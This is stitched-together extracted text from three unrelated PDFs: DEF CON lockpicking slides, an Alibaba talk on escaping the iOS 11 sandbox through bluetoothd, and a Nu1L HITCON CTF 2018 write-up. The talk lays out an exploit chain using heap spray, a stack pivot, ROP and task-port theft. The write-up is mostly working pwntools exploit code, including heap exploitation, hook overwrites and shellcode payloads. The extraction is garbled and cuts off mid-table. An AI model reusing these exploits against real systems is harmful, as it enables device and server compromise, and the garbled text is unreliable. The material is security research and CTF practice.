Introduction to Lockpicking Alek Amrani DEF CON 17 About Me ● Longhorn Lockpicking Club ● UT Austin ISO ● CS Undergrad Format ● First year with Thursday Events ● Long time slot – People most likely will come and go – Split time into three portions ● Originally intended to be “hands on” workshop-esc – “Lost” bag ● Picks ● Locks ● LSI / LLC Event Format ● Adventure ensues: ● WTF can I do besides bore people for 3 hours – Teach Lockpicking theory ● Helps Lockpicking Village ?appreciation? – Entertain? ● Build a Demo Lock – Materials scrounged up from walking distance – Started building at 11:30 AM Yesterday (WED 30JUL09) – Looks utterly disgusting, but still functional-ish ● Redo Powerpoint Prelim Q & A ● Yes? ● No? ● READY GO Lockpicking Background ● Why Lockpicking? ● Why “hacking”? – Same reasons, more or less ● Groups ● Locksport International (LSI) ● The Open Organization Of Lockpickers (TOOOL) ● Longhorn Lockpicking Club (LLC) ● Fraternal Organization Of Locksport (FOOLs) ● Others exist Legality ● Check local laws ● In general, but not always, it is usually ok to pick your own locks, or locks you have explicit permission to pick ● It is not always ok to Cary lockpicks – EX: NYC and Washington DC ● I have no idea what the laws in your particular location are. Locks ● Various ways to group ● Security Level – Pretty arbitrary grouping ● Operation – Electronic – Mechanical – Electromechanical ● Housing – Mostly obvious Pin Tumbler ● Focus will be mostly on these locks ● How they work ● How we pick them open Pin Tumbler Locks ● Housing – Green ● Plug – Yellow ● Driver Pins – Blue ● Key Pins – Red ● Shear Line – The point where the plug meets the housing Image from wikipedia.org Pin Tumbler Locks ● Peaks and Valleys on Key raise pins ● Correct key raises top of key pins to shear line Image from wikipedia.org Pin Tumbler Locks ● Peaks and Valleys on Key raise pins ● Correct key raises top of key pins to shear line Image from wikipedia.org Pin Tumbler Locks ● Wrong key puts pins at wrong height Image from wikipedia.org Pin Tumbler Locks ● How do we lockpick? ● The lock opens when the key is inserted, which raises the pins to the correct height. ● If we can raise the pins to the correct height, we don't need the key. Pin Tumbler Locks ● Mechanical Tolerances Pin Tumbler Locks ● Single Pin Picking ● Hooks ● Multiple Pin Manipulation ● Rakes Pin Tumbler Locks ● Security Features ● Security Pins – Spool – Mushroom – Serrated ● Sidebars Additional Info ● These slides, as well as more info will be available via: obsinisize.com ● I can be reached at: [email protected]
pdf
Fasten your seatbelts: We are escaping iOS 11 sandbox! Min(Spark) Zheng & Xiaolong Bai @ Alibaba Security Lab Whoami Alibaba Security • SparkZheng @ Twitter,蒸米spark @ Weibo • Alibaba Security Expert • CUHK PhD, Blue-lotus and Insight-labs • iOS 9.3.4 & iOS 11.3.1 OverSky Jailbreak (Private) Alibaba Security • Xiaolong Bai (bxl1989 @ Twitter&Weibo) • Alibaba Security Engineer • Ph.D. graduated from Tsinghua University • Published papers on S&P, Usenix Security, CCS, NDSS iOS System Overview Alibaba Security • Application - in sandbox - few attack surfaces to kernel - only basic system info - memory info(e.g., sharedcache) • Userland - all system info - more attack surfaces to kernel • Kernel - Control the device System System Libs Kernel Frameworks IPC System Services Sandbox Alibaba Security • Apple‘s Sandbox was introduced as “SeatBelt” in MacOS 10.5 which provides the first full fledged implementation of a MACF policy. • From its inception, the policy hooked dozens of operations. The number of hooks has been growing steadily when new system calls or newly discovered threats appeared (tables from *OS internals): Version XNU System Version Hook Count 34 1510 macOS 10.6 92 120 1699 macOS 10.7 98 211/220 2107 iOS 6/macOS 10.8 105 300 2422 iOS 7/macOS 10.9 109 358 2782 iOS 8/macOS 10.10 113 459 3216 iOS 9/macOS 10.11 119 592 3789 iOS 10/macOS 10.12 126/124 763 4570 iOS 11/macOS 10.13 132/131 Sandbox Profiles Alibaba Security • In MacOS, profiles are visible and stored in /System/Library/Sandbox/Profiles. In iOS, the profiles were hard-compiled into /usr/libexec/sandboxd. It’s hard to decode the sandbox profiles, but we can traverse all mach services to get the mach-lookup list according to the return value (e.g., through sbtool by Jonathan Levin). Mach Service Name -> Binary Alibaba Security • In order to find vulnerabilities, we need to disassemble and analyze the binaries which contain the handler functions of related mach services. /System/Library/LaunchDaemons contains the configuration plist of most mach services. In the plist files, “ProgramArguments” shows the path of the binary and “MachServices”shows the related mach services. Mach, XPC and NSXPC Alibaba Security • Mach messages contain typed data, which can include port rights and references to large regions of memory. XPC msg is built on top of Mach msg and NSXPC msg is built on top of XPC msg. • Through Mach msg, sandboxed app can communicate with unsandboxed Mach (MIG) services, XPC services and NSXPC services. APP sandbox Mach Services XPC services APP sandbox NSXPC services XPC: Arbitrary File Move CVE-2015-7037 Alibaba Security • com.apple.PersistentURLTranslator.Gatekeeper (/System/Library/Frameworks/AssetsLibrary.framework/Support/assetsd) • This service has path traversal vulnerability that an app can mv folders outside the sandbox with mobile privilege (used in Pangu9 for jailbreak). NSXPC: Arbitrary SQLite File Query Outside the Sandbox Alibaba Security • com.apple.medialibraryd.xpc (/System/Library/PrivateFrameworks/MusicLibrary.framework/Support/medialibra ryd) • The sandboxed app can use [[connection remoteObjectProxy] beginTransactionForDatabaseAtPath] method to connect arbitrary SQLite files on the system and then use [[connection remoteObjectProxy] executeQuery] to execute SQL commands. POC: NSXPC: Code Execution Through fts3_tokenizer() Alibaba Security • Medialibraryd service has SQLite fts3_tokenizer vulnerability. • Use fts3_tokenizer('simple') to leak information: • Use fts3_tokenizer('simple’, addr) to register a callback address for the tokenizer: NSXPC: Code Execution Through fts3_tokenizer() Alibaba Security • Use ``PRAGMA soft_heap_limit=0x4141414141414141”to control PC: • This vulnerability is used in our private iOS 9.3.4 jailbreak. Mach Service: Bluetoothd Alibaba Security • There are 132 functions (start from 0xFA300) in the “com.apple.server.bluetooth” Mach service of bluetoothd. • Bluetoothd communicate with sandboxed apps and other unsandboxed processes (e.g., SpringBoard) through “com.apple.server.Bluetooth”. Bluetoothd Apps SpringBoard sharingd Mach Service: Bluetoothd Alibaba Security • A process can use BTSessionAttach to create a session_token for bluetoothd and then use BTLocalDeviceAddCallbacks to register a callback for event notification. Bluetoothd Apps SpringBoard ses_token_1 0xFA300 BTSessionAttach 0xFA303 BTLocalDeviceAddCallbacks with ses_token_1 and callback1 addr invoke callback1 ses_token_2 0xFA300 BTSessionAttach 0xFA303 BTLocalDeviceAddCallbacks with ses_token_2 and callback2 addr invoke callback2 Mach Service: Bluetoothd CVE-2018-4087 by @raniXCH Alibaba Security • However, Bluetoothd only uses the session token to identify the process which means we can use a sandboxed app to hijack a communication between bluetoothd and unsandboxed processes through the session token. Bluetoothd Apps SpringBoard 0xFA303 BTLocalDeviceAddCallbacks with ses_token_2 and callback2 addr ses_token_2 0xFA300 BTSessionAttach 0xFA303 BTLocalDeviceAddCallbacks with ses_token_2 and callback2 addr invoke callback2 PC control! Mach Service: Bluetoothd CVE-2018-4087 Alibaba Security • The problem is the ses_token is too easy to be brute forced. It only has 0x10000 (0x0000 - 0xFFFF) possible values. • Apple fixed this problem by adding a user_id (=arc4random()) to each session, only the process knows the user_id and bluetoothd will check the map[ses_token] == user_id. Bluetoothd SpringBoard ses_token_1 0xFA300 BTSessionAttach with user_id 0xFA303 BTLocalDeviceAddCallbacks with ses_token_1 , user_id and callback1 addr invoke callback1 User_id? Mach Service: Bluetoothd 0-day bugs Alibaba Security • As we mentioned before, a user_id = arc4random() = [0x00000000-0xFFFFFFFF]. If we know the session_token, we can still hijack the communication through the user_id brute force. • But it takes a very long long time (about 12 hours) … • Wait…what if there are other callback registration functions without a user_id? • Bingo! 0xFA365 BTAccessoryManagerAddCallbacks()! Mach Service: Bluetoothd 0-day bugs Alibaba Security • However, after sending message to bluetoothd through BTAccessoryManagerAddCallbacks(), nothing happened! • Finally, I found the problem. The callback event can be triggered only when the iOS device connects to a new device which means we need to trigger the callback by click the Bluetooth device manually. Click! Mach Service: Bluetoothd 0-day bugs Alibaba Security • CallBacks 1(a long long time), CallBacks 2(hard to trigger), CallBacks 3 Again! Yes, we found a new function with callbacks and it’s easy to trigger! • 0xFA329 BTDiscoveryAgentCreate() can create a callback for the discovery agent and then we can use 0xFA32B BTDiscoveryAgentStartScan() to trigger the callback without manual click! PC Control -> Control the Process in a Classic Way Alibaba Security • The goal is not only control the PC pointer but the process as well. • Next step is to create a ROP chain and do a heap spray for the target process. ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP PC Memory • In this case, we use MACH_MSGH_BITS_COMPLEX Mach msg with MACH_MSG_OOL_DESCRIPTOR memory. • If we send the msg and don’t receive the msg, the ROP chain will stay in the target’s memory space persistently. • After several tests, we can find a MAGIC_ADDR which is 0x105400000. PC Control -> Control the Process in a Classic Way Alibaba Security • Controlled registers: X3,X4,X5,X19,X20. And last BR is X4: • Until now, we can only do BOP (JOP). But it’s hard for us to control the program flow. So, we need a stack pivot to control the stack and change BOP -> ROP. Stack pivot ? PC Control -> Control the Process in a Classic Way Alibaba Security • A great stack pivot gadget can be found at libsystem_platform.dylib: • If we can control x0, then we can control sp. Control X0 -> x19 & x20 Control X0 -> x2 & x29 Control X2 -> SP RET! PC Control -> Control the Process in an Elegant Way Alibaba Security • Now we can ROP (e.g., steal files, open a sandboxed IOKit userclient)! • But ROP is not elegant. We want the task port to control everything! Task port? Mach Port 101 Alibaba Security • A port provides an endpoint for IPC. Messages can be sent to a port or received from it: • Ports can contain rights and port rights can be passed in messages. • The most important port for one process is mach_task_self(). One can control the memory and all registers of the process through its task port. Mach Port 101 Alibaba Security • We can use mach_vm_allocate(target_task_port, &remote_addr, remote_size, 1) to allocate memory in a remote process. • mach_vm_write(target_task_port, remote_address, local_address, length) can be used to copy data into a remote process. • thread_create_running(target_task_port, ARM_THREAD_STATE64, &thread_state, stateCnt, &thread_port) can be use to create a new thread in a remote process. • Therefore, if we can get one process’s task port. We can easily control the whole process through mach msg. task_port mach_msg process Get the task port! Alibaba Security • Let’s try to get the task port of the remote process. Pwn app Bluetoothd Control the target process through its task port Send 0x1000 ports with pwn apps’s send right Launchd BTd port Use vulnerability to control the pc of BTd Use ROP to send mach msgs contain mach_task_self() Send ROP through heap spray Get the task port! Alibaba Security Some tricks learn from Mach_portal: • We can use mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND) to insert a send right to the port. And this port can be send by OOL message with MACH_MSG_PORT_DESCRIPTOR type. • In most time, mach_task_self() returns 0x103, so we can just use 0x103 without ROP (to call mach_task_self()). • In order to send the task port to our pwn app, we need to know the port number of our pwn app. But we cannot use launchd to help us. Luckily, the port number can be guessed by (0x103+0x100*N). That’s why we send 0x1000 ports to the remote process (in order to increase the successful rate). DEMO Alibaba Security Remotely malloc memory in the target process: Remotely execute functions in the target process: iOS 11 mitigation Alibaba Security iOS 11 (not in macOS 10.13) extended the limit to the use of all task ports for app processes: But ROPs always work in user mode. Function Call Primitive Alibaba Security A generic primitive for function calls with arbitrary parameters in CoreFoundation: 0-N parameters : X0-X7 and stack X8->Function Call Return to X30 DEMO Alibaba Security • Attack iOS kernel through unsandboxed IOKit userclient on iOS 11.3: • Break Kernel slide and gain arbitrary kernel R/W ability on iOS 11.3: DEMO Alibaba Security • Achieve root shell and jailbreak on iOS 11.3: https://www.youtube.com/watch?v=Kt5JXBvRJ5o Conclusion Alibaba Security • We introduce the basic conception of iOS sandbox and summarize several classic ways to escape the iOS sandbox. • Based on an old bluetoothd vulnerability, we find two new zero-day sandbox escape vulnerabilities on the latest iOS version. • We present a classic way to do heap spray , stack pivot and ROP in the iOS userland. • We show how to get and control the task port of the remote process during the exploit. Reference Alibaba Security • *OS Internals & Jtool: http://newosxbook.com/ • Pangu 9 Internals: https://www.blackhat.com/docs/us-16/materials/us- 16-Wang-Pangu-9-Internals.pdf • triple_fetch by IanBeer: https://bugs.chromium.org/p/project- zero/issues/detail?id=1247 • CVE-2018-4087: https://blog.zimperium.com/cve-2018-4087-poc- escaping-sandbox-misleading-bluetoothd/ Thanks
pdf
2018 hitcon CTF By Nu1L https://ctf2018.hitcon.org/ 2018/10/20 02:00 UTC ~ 2018/10/22 02:00 UTC PWN children tcache from pwn import * #p=process('./child',env={'LD_PRELOAD':'./libc.so.6'}) p=remote('54.178.132.125', 8763) libc = ELF('./libc.so.6') def add(size,data): p.recvuntil('choice') p.sendline('1') p.recvuntil('Size:') p.sendline(str(size)) p.recvuntil('Data:') p.send(data) def dele(index): p.recvuntil('choice') p.sendline('3') p.recvuntil('Index') p.sendline(str(index)) for i in range(7): add(0x80,'xxx\n') for i in range(7): dele(i) for i in range(7): add(0x110-8,'xxx\n') add(0x110-8,'aaaa\n')#7 add(0x100,'bbbb\n')#8 add(0x100,'cccc\n')#9 for i in range(7): dele(i) dele(8) dele(7) #raw_input() for i in range(7): add(0x110-8,'aaaa\n') #0-6 add(0x110-8,'a'*(0x110-8))#7 for i in range(7): dele(i) #raw_input() for i in range(7): add(0x80,'1234567\n')#0-6 add(0x80,'xxxxxxxx\n')#8 for i in range(7): dele(i) add(0x60,'ABCD\n')#0 dele(8) dele(9) add(0x40,'a\n')#1 add(0x30,'b\n')#2 add(0x500,'aaaa\n')#3 add(0x120,'bbbb\n')#4 #0,3->same chunk dele(3) p.recvuntil('choice') p.sendline('2') p.recvuntil("Index:") p.sendline('0') addr = u64(p.recv(6).ljust(8,'\x00')) libc_base = addr - (0x00007f2e9c12dca0-0x7f2e9bd42000) info("libc:0x%x",libc_base) malloc_hook = libc_base+libc.symbols['__malloc_hook'] info("malloc hook:0x%x",malloc_hook) one = libc_base + 0x10a38c add(0x500,'aaaaa\n')#3 dele(3) add(0x120,'ABCDABCD\n') dele(4) dele(3) dele(0) add(0x120,p64(malloc_hook)+'\n') add(0x120,p64(one)+'\n') add(0x120,p64(one)+'\n') Groot p.sendline('1') p.sendline('304') p.interactive() #!/usr/bin/env python2 # coding:utf-8 from pwn import * import os VERBOSE = 1 DEBUG = 1 LOCAL = 0 target = 'groot' libc = [] # libc break_points = [] remote_addr = '54.238.202.201' remote_port = 31733 def hint(break_points=[]): if LOCAL: out = 'gdb attach ' + str(pwnlib.util.proc.pidof(target)[0]) for bp in break_points: out += " -ex 'b *{}'".format(hex(bp)) raw_input(out+" -ex 'c'\n" if break_points else out+"\n") # if libc: # elf = ELF(libc[0]) # gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64'))) if LOCAL: if libc: for libc_ in libc: os.environ['LD_PRELOAD'] = os.environ['PWD'] + '/' + libc_ + ':' p = process('./'+target) if DEBUG: out = 'gdb attach ' + str(pwnlib.util.proc.pidof(target)[0]) for bp in break_points: out += " -ex 'b *{}'".format(hex(bp)) raw_input(out+" -ex 'c'\n" if break_points else out+"\n") else: p = remote(remote_addr,remote_port) if VERBOSE: context.log_level = 'DEBUG' def mkdir(dir): p.sendlineafter('$ ','mkdir '+dir) def touch(name): p.sendlineafter('$ ','touch '+name) def rm(name): p.sendlineafter('$ ','rm '+name) def mkfile(name, content): p.sendlineafter('$ ','mkfile '+name) p.sendlineafter('Content?', content) def cd(dir): p.sendlineafter('$ ','cd '+dir) def ls(dir): if dir: p.sendlineafter('$ ','ls '+dir) else: p.sendlineafter('$ ','ls') def mv(src, dst): p.sendlineafter('$ ','mv %s %s' %(src,dst)) def exp(cmd=None): mkdir('A'*0x30) cd('A'*0x30) touch('B'*0x30) cd('..') rm('A'*0x30) touch('X') touch('C'*0x30) rm('X') ls('') p.recv(0x14) heap = u64(p.recv(6).ljust(8,'\x00')) print hex(heap) heap_base = heap - 76864 print hex(heap_base) rm(p64(heap)) # raw_input() ls(p64(heap_base+0x11fd0)[:-2]) # raw_input() for i in range(4): ls('HEHE') # raw_input() ls('A'*8+p16(0x561)) rm('/etc/passwd') ls('/') ls('/') ls('/') p.recvuntil('dev') p.recv(0x10) libc = u64(p.recv(6).ljust(8,'\x00')) print hex(libc) libc_base = libc - 0x789ca0 print hex(libc_base) # raw_input() for i in range(2): ls('D'*0x30) # raw_input() rm('/dev') # add bin sh # ls('') mv('HEHE','sh') # mv('/bin/id','/bin/sh') # cd('../../../../../../../../../../../bin') for i in range(9): ls('D'*0x60) # ls('E'*0x40) # ls('E'*0x40) rm('/boot') ls('E'*0x40) # raw_input('hehehe') free_hook = 7911656 + libc_base malloc_hook = 0x789c30 + libc_base magic = 0x4f440 + libc_base + 3792896 ls('X'*0x40+p64(heap_base+0x50-0x28)) ls('D'*0x30) # raw_input('sending free hook') # ls(p64(free_hook-0x28)[:-2]) # raw_input() print hex(magic) print hex(free_hook) rm('A'*0x28+p64(free_hook)) # mkdir('../../../../../../../../../../../../../../bin/sh') Abyss I VM swap machine machinegot shellcodeshellcode # mv('/bin/id',p64(magic)) ls(p64(magic)) p.recvrepeat(1) # raw_input() p.sendline('rm ' + '../'*8+'home/groot/sh') # raw_input() # ls('123') # mkdir('ttt') # cd('ttt') # for i in range(10): # mkdir(str(i)*0x30) # mkdir('C'*0x30) # cd('C'*0x30) # touch('A'*0x30) # cd('..') # rm('C'*0x30) # touch() p.interactive() if __name__ == '__main__': exp("id") from pwn import * p = remote('35.200.23.198', 31733) context(arch = 'amd64', os = 'linux') context.aslr = False #p = process('./user.elf') #gdb.attach(p) Abyss II () write_sys bufsize kmalloc0hypervisorimage base0 hypervisor shellcodeopenreadwrite #p = process('./hypervisor.elf kernel.bin ld.so.2 ./user.elf'.split(' ')) payload = '4294967295\\' payload += '%' * ((0x2020a0 - 0x202030) / 4 - 2) payload += '0:' payload += '1:' payload += '%%%%1;' payload += str(0x2030A4 + 0x100 - 0x7b6) + '+' # payload += str(0x7BEC0 - 0x4f322) + '\x011' # payload += ';-' # payload += '0;' # payload += '.' payload += '0;' payload += ',' payload = payload.ljust(0x100, '\x01') payload += asm(shellcraft.amd64.linux.open('flag', 0, 0)) payload += asm(shellcraft.amd64.linux.read(3, 'rsp', 0x100)) payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 0x100)) p.sendline(payload) p.interactive() (0, '0x239L') read (1, '0xa9aL') write (2, '0x972L') open (3, '0xf4bL') (5, '0x1caL') (9, '0xc47L') (10, '0x17b2L') (11, '0xd54L') (12, '0xbc6L') (20, '0xb0dL') (21, '0xa4cL') (60, '0x966L') (158, '0xb87L') (221, '0x195L') (231, '0x966L') (257, '0xa39L') from pwn import * import time context(arch = 'amd64', os = 'linux') context.aslr = False def runshellcode(p, s): payload = '4294967295\\' payload += '%' * ((0x2020a0 - 0x202030) / 4 - 2) payload += '0:' payload += '1:' payload += '%%%%1;' payload += str(0x2030A4 + 0x100 - 0x7b6) + '+' payload += '0;' payload += ',' payload = payload.ljust(0x100, '\x01') payload += asm('push 0x61616161') payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 0x4)) payload += asm(shellcraft.amd64.linux.read(0, 'rsp', 0x1000)) payload += asm('jmp rsp') p.sendline(payload) p.recvuntil('aaaa') p.send(s) context.log_level = 'debug' def main(): p = remote('35.200.23.198', 31733) #p = process('./user.elf') #p = process('./hypervisor.elf kernel.bin ld.so.2 ./user.elf'.split(' ')) payload = '' mmap_addr = 0x500000 payload += asm(shellcraft.amd64.linux.mmap(mmap_addr, 0x10000, 7, 16, -1, 0)) payload += asm('push rax') payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 8)) payload += asm(shellcraft.amd64.linux.read(0, mmap_addr, 0x10000)) payload += asm(shellcraft.amd64.linux.write(1, mmap_addr, 0x10000000000000000 - mmap_addr + 0x300000)) payload += asm('push rax') payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 8)) runshellcode(p, payload) time.sleep(10) payload = 'flag2'.ljust(8, '\x00') payload += p64(3) + p64(0x100) + p64(0x100) payload += p64(1) + p64(0x100) + p64(0x100) payload = payload.ljust(0xa5d, '\x90') + '\x90'*36 Super Hexagon | solved 1, stuck 2 | pzhxbz scanf Reverse EOP c++ gdb script payload += asm(''' mov dx, 0x8000 mov eax, 0x0 ''') payload += '\xef\xed' payload += asm(''' mov dx, 0x8001 mov eax, 0x8 ''') payload += '\xef\xed' payload += asm(''' mov dx, 0x8002 mov eax, 0x20 ''') payload += '\xef\xed' payload += '\xeb\xfe' payload = payload.ljust(0xadb, '\x90') payload += '\xeb\x80' p.send(payload) p.interactive() if __name__ == '__main__': main() 3 orz b *(0x8000000+0x5620) python f = open('log','w') run < test_input set $ipx=1 while ($ipx) python a = hex(gdb.parse_and_eval("$rax")) python f.write(a+'\n') continue end from pwn import * index_table1 = [1448535819,1128528919,3149608817L,134807173,3570665939L,3806473211L,272857014 2L,1936927410,3014904308L,757936956,2358043856L,3082270210L,2374833497L,101119 117,2324303965L,3166450293L,3334870987L,3486456007L,2593817918L,2863289243L,12 96954911,3941258622L,1212708960,3772817536L,774785486,1061104932,3284375988L,3 36915093,4227576212L,1970658879,4210704413L,3907542533L,3469666638L,791656519, 555856463,1600120839,1953771446,3318050105L,3739122733L,1246425883,3924406156L ,3048553849L,2004309316,2981184143L,117900548,2913818271L,1347425158,116215209 0,4075994776L,3452801980L,1802191188,3368558019L,2526413901L,1717973422,309908 6211L,320073617,3267520573L,2459073467L,690572490,2947538404L,3200170254L,9600 92585,993743570,623234489,4042274275L,1330609508,707409464,4261233945L,2644344 890L,3520169900L,3553823959L,2341200340L,3065399179L,33721211,1145370899,26780 00449L,3789639945L,1094809452,1819034704,825304876,505323371,454758676,2560101 957L,1549570805,589510964,3991785594L,370565614,4244419728L,2240146396L,397489 8163L,2391699371L,724289457,1313770733,185304183,2543318468L,1482222851,842161 630,1195869153,16904585,2930650221L,3840204662L,2122209864,2442199369L,4160172 263L,2021174981,2577006540L,1835906521,2779097114L,2223250005L,3604382376L,414 3366510L,1633760426,202146163,2071712823,875866451,1532729329,1280051094,37222 49951L,0,421108335,2088554803,2475919922L,2896996118L,252705665,4126522268L,21 39073473,1027450463,404253670,606354480,3132802808L,1229556201,2509602495L,165 0609752,572704957,976921435,3031747824L,3537042782L,4025441025L,2408554018L,37 55969956L,2745392279L,2273796263L,488498585,2610656439L,2307484335L,1515873912 ,3654908201L,2711738348L,286352618,522153698,4294954594L,2661219016L,107797066 1,3705468758L,640071499,1431674361,1397975412,353704732,2812748641L,1566401404 ,3250655951L,2425417920L,3385453642L,1381144829,2694850149L,3435946549L,741130 933,2172752938L,4278075371L,673758531,943204384,387420263,1499012234,67403766, 3351766594L,3873854477L,269522275,3823360626L,1987486925,1010587606,3115957258 L,1886408768,3671720923L,2155898275L,168457726,1044307117,2627498419L,39580561 83L,3638069408L,909517352,84250239,1785376989,1179021928,808507045,1263207058, 1667481553,3688624722L,2256965934L,859024471,437969053,3233866566L,1903272393, 1414818928,1852755755,4177054566L,656885442,2290653990L,2189618904L,2492763958 L,1616954659,3587569754L,3503322661L,1465325186,538985414,3890718084L,29643701 82L,1111625118,2037997388,2105352378,2829637856L,3301219504L,2762234259L,17348 52647,235801096,2880152082L,1920129851,3183330300L,3402274488L,218984698,41938 60335L,1364320783,4059153514L,1768540719,4109650453L,892688602,471602192,40086 18632L,926405537,2054825406,50559730,3621221153L,1701137244,151588620,38570022 39L,3419105073L,1751661478,1684323029,2998024317L,4092808977L,3216984199L,2206 408529L,303177240,2795950824L,1583225230,2846435689L,1869561506] index_table2 = [67438343,1346661484,3474112961L,1136470056,1858205430,1427801220,1604730173,4 240686525L,3371867806L,1618495560,1593692882,628543696,132669279,2381579782L,8 95667404,561240023,3190127226L,4173773498L,2808121223L,3460902446L,3932426513L ,1548445029,714375553,4106859443L,247054014,2317113689L,1819754817,943073834,3 236991120L,4213957346L,3865778200L,2472125604L,1764338089,2648709658L,84794254 7,269753372,1413573483,1937837068,2714974007L,3985395278L,2005142283,214001382 9,2180714255L,2086886749,3607942099L,3730649650L,1292146326,357233908,18055900 46,2673257901L,3273509064L,2629563893L,2269691839L,1537423930,1158584472,10099 86861,2202908856L,1030275778,2539430819L,2788911208L,3407333062L,2292903662L,3 906119334L,156361185,3772295336L,2693322968L,2894582225L,4135519236L,428126358 9L,1791291889,1966259388,424017405,3259377447L,3596041276L,2249412688L,3571551 115L,1281325433,2494692347L,3450107510L,1337073953,3663213877L,1872369945,2100 867762,606945087,2581929245L,3439303065L,2651669058L,134876686,2182502231L,244 8364307L,2427780348L,1685933903,3973554593L,180140473,0,828885963,3518980963L, 471536917,335103044,3096890058L,3316545656L,2722000751L,1926947811,1886147668, 580816783,1091280799,3528604475L,536235341,1470903091,3674462938L,1403597876,2 336732854L,1657733119,112439472,468929098,2517060684L,4201647373L,447260069,16 29726631,1831644846,1203253039,3145437842L,2989126515L,2963064004L,1048943258, 1361019779,3850780736L,4039947444L,2515145748L,3719326314L,1994384612,29429948 25L,2922473062L,4269083146L,1189331136,3504639116L,1481532002,600137824,915379 348,1724643576,673330742,1004237426,3918088521L,1494584717,3249241983L,2034087 349,1737496343,2827146966L,981507485,4254618194L,4120009820L,3304429463L,28762 14926L,2060512749,3382800753L,2449623883L,2605951658L,2360338921L,2127948522,1 99710294,2849585465L,3741769181L,1670713360,3029976003L,1071543669,4013619705L ,1561365130,647727240,3878746103L,2855559521L,735014510,1146451831,1270294054, 2072707586,45529015,1213890174,809247780,336665371,2760761311L,2741338240L,383 9733679L,514695842,781289094,402408259,1224839569,3163803085L,1899477947,17523 19558,2982619947L,2158026976L,202311945,380087468,2314273025L,1697030304,37064 22661L,2916892222L,65886296,3117229349L,2562650866L,2403512753L,312650667,1391 647707,3077872539L,876159779,4053228379L,3049401388L,1323945678,1526257109,539 506744,801794409,2782277680L,1122420679,740766001,666920807,22802415,90106088, 869366908,3326287904L,3393988905L,1079013488,290452467,3946839806L,4187837781L ,2225465319L,3999340054L,1459084508,3783477063L,3212744085L,2248017928L,334029 2047L,4068082435L,3585762404L,3811963120L,763158238,404623890,1953059667,12570 32137,3639509634L,2384027230L,3122691453L,695851481,2584233285L,963495365,3652 545901L,490797818,3056563316L,936672123,2019973722,3798867743L,4079086828L,414 6392043L,3184009762L,3010567324L,3540636884L,266490193,223667942] index_table3 = [3188637369L,582820552,701114700,4220844977L,1243302643,2083749073,4237360308L ,274927765,1468159766,1029651878,1293897206,3161832498L,1722705457,1730635712, 1125598204,1117667853,3815957466L,1443583719,2167046548L,3554136844L,354161947 ,1167738120,92210574,1059340077,2663948026L,4009881435L,446503648,2026207406,1 941074730,3213344584L,3251618066L,1097613687,1586388505,607134780,3104487868L, 3832997087L,83231871,2953228467L,1872916286,1612931269,1331974013,3884246949L, 2345962465L,2469565322L,675489981,3492139126L,3095640141L,1442403741,306260947 9L,3368273949L,3570652169L,733031367,192351108,1568431459,3377121772L,15425442 79,510336671,2284226715L,3892701278L,3426077794L,1883271248,3517763975L,255469 7742L,3136862918L,2546243573L,1649959502,1909027233,66192250,1674666943,424633 8885L,2109373728,2309982570L,4159174448L,3044652349L,2275903328L,2671877899L,1 003633490,1088766086,933312467,3918326191L,3308897645L,384702049,3601389186L,2 716639703L,750070978,4120704443L,1792895664,1800694593,2195227374L,3070408630L ,2719916717L,3461271273L,234491248,3775521105L,2926423596L,3696680183L,3984256 464L,1240025481,1181238898,2833295576L,2691014694L,1205946243,142936318,642459 319,1594318824,785264201,3579500024L,151783695,3934186197L,117704453,260116475 ,496573925,941635624,3858752814L,1051541212,1817209924,2994582072L,2393607791L ,109905652,3859670612L,2118680154,2887167143L,1638555956,3643398521L,191649865 1,2428539120L,3451702675L,3019158473L,1848340175,1416647788,2143387563,2587794 053L,3679640562L,2978984258L,4001951402L,1400132457,558834098,3409038183L,2612 501364L,667035462,853422685,2067233748,2629016689L,2761139289L,3529429757L,428 4678094L,632890829,1842965941,4095079498L,816132310,3722435846L,1700554059,121 4269560,2000975701,824979751,1359958498,3808158251L,2158198885L,2769986984L,12 67878658,454302481,3299919004L,1958114351,4070109886L,328274927,4193253690L,96 7391705,1020673111,345314538,3958893348L,2870127522L,235408906,2035054943,2580 322815L,2437517569L,3225862371L,2059303461,3283403673L,184420981,1324174988,15 17836902,3727548028L,3187457475L,2203157279L,1392333464,758918451,41616011,908 604962,25756145,4167497931L,0,3144792887L,2461766267L,1967093214,1755736123,26 37864320L,3035673804L,4078039887L,3258827368L,470817812,208866433,793194424,28 08194851L,3401108118L,2251196049L,4276878911L,2486604943L,534912878,1559583890 ,1502239004,426711450,1476614381,4196268608L,1284918279,3634419848L,3485978392 L,3752124301L,2842274089L,3671841283L,708323894,1142113529,3335243287L,1993176 740,903492952,4050317764L,2321386000L,2521667076L,1350979603,1764714954,877868 201,2220196890L,303567390,2371456277L,2245821931L,392632208,3975408673L,236247 7796L,2744623964L,979057315,4041470005L,3343042534L,4134467265L,417732715,3005 52548,590619449,3766542496L,2512360830L,2401406878L,1691706554,2862328403L,280 0264914L,2912922966L,2951000029L,861352876,3609319283L,549855299] index_table4 = [3254152897L,164942601,2959793584L,416270104,3784037601L,3834433764L,175756016 8,4258422525L,2986054833L,2131031679,4036018416L,3644434905L,1563614813,736295 723,398904087,1403689811,528699679,0,3384014025L,2215344004L,759112749,1277807 180,3357720008L,1943478643,2539385239L,2491493012L,3634946264L,1303937869,3153 435835L,425627161,4132249590L,545110560,2202526083L,1090133312,4120364277L,307 2740279L,1657550178,2380244109L,3514577873L,1542390107,2278665351L,2295898248L ,1871620975,598171939,2927150510L,3534153938L,475630108,3311412165L,504502302, 1917216882,749628716,286987281,3695095260L,4174732024L,1963654773,1373702481,3 543638483L,1787408234,1118932802,76958980,2353982860L,3284008131L,3672339162L, 989458234,935031095,2324902538L,4261971454L,3257710018L,361584917,821552944,34 22054091L,1956362100,2660180638L,1717205094,958608441,454368283,3972614892L,69 8968361,4074459890L,573974562,828812849,4094070260L,2241478277L,1203145543,212 3743102,1341329743,3981968365L,3843922405L,1174214981,2455565714L,3871818470L, 878815796,337383444,904979253,2951318703L,138779144,657533991,84345861,7868250 06,4011037167L,2000776311,2829392552L,3564845012L,222469645,2889045932L,368169 6731L,3173532605L,2157787776L,1702929253,244860174,2165076865L,3090106296L,209 